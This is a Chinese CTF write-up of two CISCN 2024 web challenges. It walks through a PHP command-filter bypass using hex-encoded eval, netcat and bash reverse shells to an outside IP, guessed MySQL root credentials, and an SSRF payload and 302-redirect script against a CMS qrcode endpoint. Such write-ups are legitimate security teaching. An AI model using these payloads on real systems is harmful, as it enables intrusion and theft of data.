CISCN 2024复现

前言

内部靶场暂时用不了了,找些近几年比赛的题目看看。

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if(!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

代码审计,咋一看全部过滤了,而且还有个escapeshellcmd:

1
反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)

但是这里php没有被过滤,所以可以利用 php -r 来执行php语句。比如?cmd=php -r phpinfo();

SimplePHP1

可以发现这里成功执行了phpinfo(),虽然() 被转义了,但是到了system那里还是被执行了。接着尝试php -r echo 666;看能否输出 666,发现是不行的。因需要带上引号。即php -r 'echo 666;'; ,但这里的引号被过滤了。为啥phpinfo()可以不用带引号?

phpinfo() 作为一个函数调用,PHP CLI可以正确解析,而 echo 是一个语言结构,不是函数,所以在命令行中需要更严格的语法.

我们找函数来执行,这里的eval是没有被禁用的,针对过滤的那些关键字,我们可以用编码绕过,比如hex2bin,但是这里的hex2bin里面得是字符串类型才行,直接传数字会报错,所以需要转换一下,这里可以用substr,可以对接受的参数转成字符串。比如substr(1221312,0,1)

我们可以先把echo 666; 进行bin2hex编码一下:

1
2
php > echo bin2hex("echo 666;");
6563686f203636363b

所以我们传过去的poc:?cmd=php -r eval(hex2bin(substr(_6563686f203636363b,1))); 因为是从1开始截取,所以前面填充了一个垃圾字符。

image-20260114181701579

反弹Shell

可以发现成功执行。所以这里我们可以尝试反弹shell:

1
2
bash -i >& /dev/tcp/ip/port 0>&1
nc vps.ip vps.port -e sh

这里ctfshow的环境没有bash,所以用nc

1
2
php > echo bin2hex("`nc 220.203.23.131 8020 -e sh`;");
606e63203232302e3230332e32332e3133312038303230202d65207368603b

POST传?cmd=php -r eval(hex2bin(substr(_606e63203232302e3230332e32332e3133312038303230202d65207368603b,1)));,然后vps上nc -lvp 8020 监听8020端口:

SimplePHP3

可以发现成功弹到shell

这个题目有点坑,它的flag是在数据库里面的,这里的数据库账号密码靠猜,root/root

mysql -uroot -proot -e "show databases;"

1
2
3
4
5
6
7
8
9
10
11
12

Last login: Wed Jan 14 14:38:39 2026 from 172.104.59.44
root@ecs-64dx:~# nc -lvp 8020
Listening on [0.0.0.0] (family 0, port 8020)
Connection from 124.223.158.81 39831 received!
mysql -uroot -proot -e "show databases;"
Database
PHP_CMS
information_schema
mysql
performance_schema
test

mysql -uroot -proot -e "use PHP_CMS;show tables;",得到如下结果:
Tables_in_PHP_CMS
F1ag_Se3Re7

mysql -uroot -proot -e "use PHP_CMS;select * from F1ag_Se3Re7;";,得到如下结果:
id flag66_2024
1 ctfshow{e2b2e941-849b-4f33-890e-085d4cc05c06}

编码

就不反弹shell,而是直接执行数据库语句拿回显也是可以的,

1
2
php > echo bin2hex("echo`mysql -uroot -proot -e 'use PHP_CMS;select * from F1ag_Se3Re7;';`;");
6563686f606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b273b603b

POST传cmd=php -r eval(hex2bin(substr(_6563686f606d7973716c202d75726f6f74202d70726f6f74202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b273b603b,1)));

session包含

easycms

题目描述:

1
2
3
4
5
6
7
8
9
简单的cms,可以扫扫看? 提示1: /flag.php: 

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下源码?

这个题目是打ssrf,根据提示下载源码,Library/Api.phpdr_catcher_data方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {

if (!$url) {
return '';
}

// 获取本地文件
if (strpos($url, 'file://') === 0) {
return file_get_contents($url);
} elseif (strpos($url, '/') === 0 && is_file(WEBPATH.$url)) {
return file_get_contents(WEBPATH.$url);
} elseif (!dr_is_url($url)) {
if (CI_DEBUG && $is_log) {
log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
}
return '';
}

// curl模式
if (function_exists('curl_init')) {
$ch = curl_init($url);
if (substr($url, 0, 8) == "https://") {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true); // 从证书中检查SSL加密算法是否存在
}
if ($ct) {
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)' . 'Gecko/20100101 Firefox/40.0',
'Accept: */*',
'X-Requested-With: XMLHttpRequest',
'Referer: '.$url,
'Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3',
));
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
}
///
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1 );
// 最大执行时间
$timeout && curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
$code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
$errno = curl_errno($ch);
if (CI_DEBUG && $errno && $is_log) {
log_message('error', '获取远程数据失败['.$url.']:('.$errno.')'.curl_error($ch));
}
curl_close($ch);
if ($code == 200) {
return $data;
} elseif ($errno == 35) {
// 当服务器不支持时改为普通获取方式
} else {
if (!$ct) {
// 尝试重试
if (preg_match_all('/[\x{4e00}-\x{9fa5}]/u', $url, $mt)) {
foreach ($mt[0] as $t) {
$url = str_replace($t, urlencode($t), $url);
}
}
if (strpos($url, ' ')) {
$url = str_replace(' ', '%20', $url);
}
return dr_catcher_data($url, $timeout, $is_log, 1);
} elseif (CI_DEBUG && $code && $is_log) {
log_message('error', '获取远程数据失败['.$url.']http状态:'.$code);
}
return '';
}
}

//设置超时参数
if ($timeout && function_exists('stream_context_create')) {
// 解析协议
$opt = [
'http' => [
'method' => 'GET',
'timeout' => $timeout,
],
'https' => [
'method' => 'GET',
'timeout' => $timeout,
]
];
$ptl = substr($url, 0, 8) == "https://" ? 'https' : 'http';
$data = file_get_contents($url, 0, stream_context_create([
$ptl => $opt[$ptl]
]));
} else {
$data = file_get_contents($url);
}

return $data;
}

这里基本上没有任何防护,直接执行curl_exec($ch),而这里的$ch 可控,所以我们只需要找到哪里调用了这个函数,再结合前面的提示/flag.php就可以打SSRF

可以发现qrcode函数里面调用了dr_catcher_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public function qrcode() {

$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (!IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (stripos($thumb, 'phar://') !== false) {
exit('图片地址不规范');
} elseif (filter_var($thumb, FILTER_VALIDATE_URL) !== false || file_exists($thumb)) {
$img = getimagesize($thumb);
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($thumb);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code);
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
} else {
exit('图片地址不规范');
}
}
}

// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
$QR && imagepng($QR);
exit;
}

// $code = dr_catcher_data($thumb); 这里的thumb参数可控,于是可以SSRF了

payload:

https://841d51dd-7126-40fa-9248-d03371b30950.challenge.ctf.show/index.php?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=nc 220.203.23.131 8020 -e sh &text=1&size=80&level=1

不过这里的thumb参数的值需要url编码一下。最终的payload:

1
https://841d51dd-7126-40fa-9248-d03371b30950.challenge.ctf.show/index.php?s=api&c=api&m=qrcode&thumb=%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%2f%66%6c%61%67%2e%70%68%70%3f%63%6d%64%3d%6e%63%20%32%32%30%2e%32%30%33%2e%32%33%2e%31%33%31%20%38%30%32%30%20%2d%65%20%73%68%20&text=1&size=80&level=1

然后再vps上面进行监听8020端口,可以发现反弹成功。

esaycms1

这里也放一个302跳转的脚本:

1
2
3
4
5
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=nc%20220.203.23.131%208030%20%2De%20sh");
?>
</html>

然后再服务器上面的 /var/www/html 目录下开启web服务:python3 -m http.server 8010

同样的我们服务器监听8020端口,nc -lvp 8020

然后payload改下:

https://841d51dd-7126-40fa-9248-d03371b30950.challenge.ctf.show/index.php?s=api&c=api&m=qrcode&thumb=http://220.203.23.131:8010/302.php &text=1&size=80&level=1

同样的url编码下,打过去就可以弹shell了。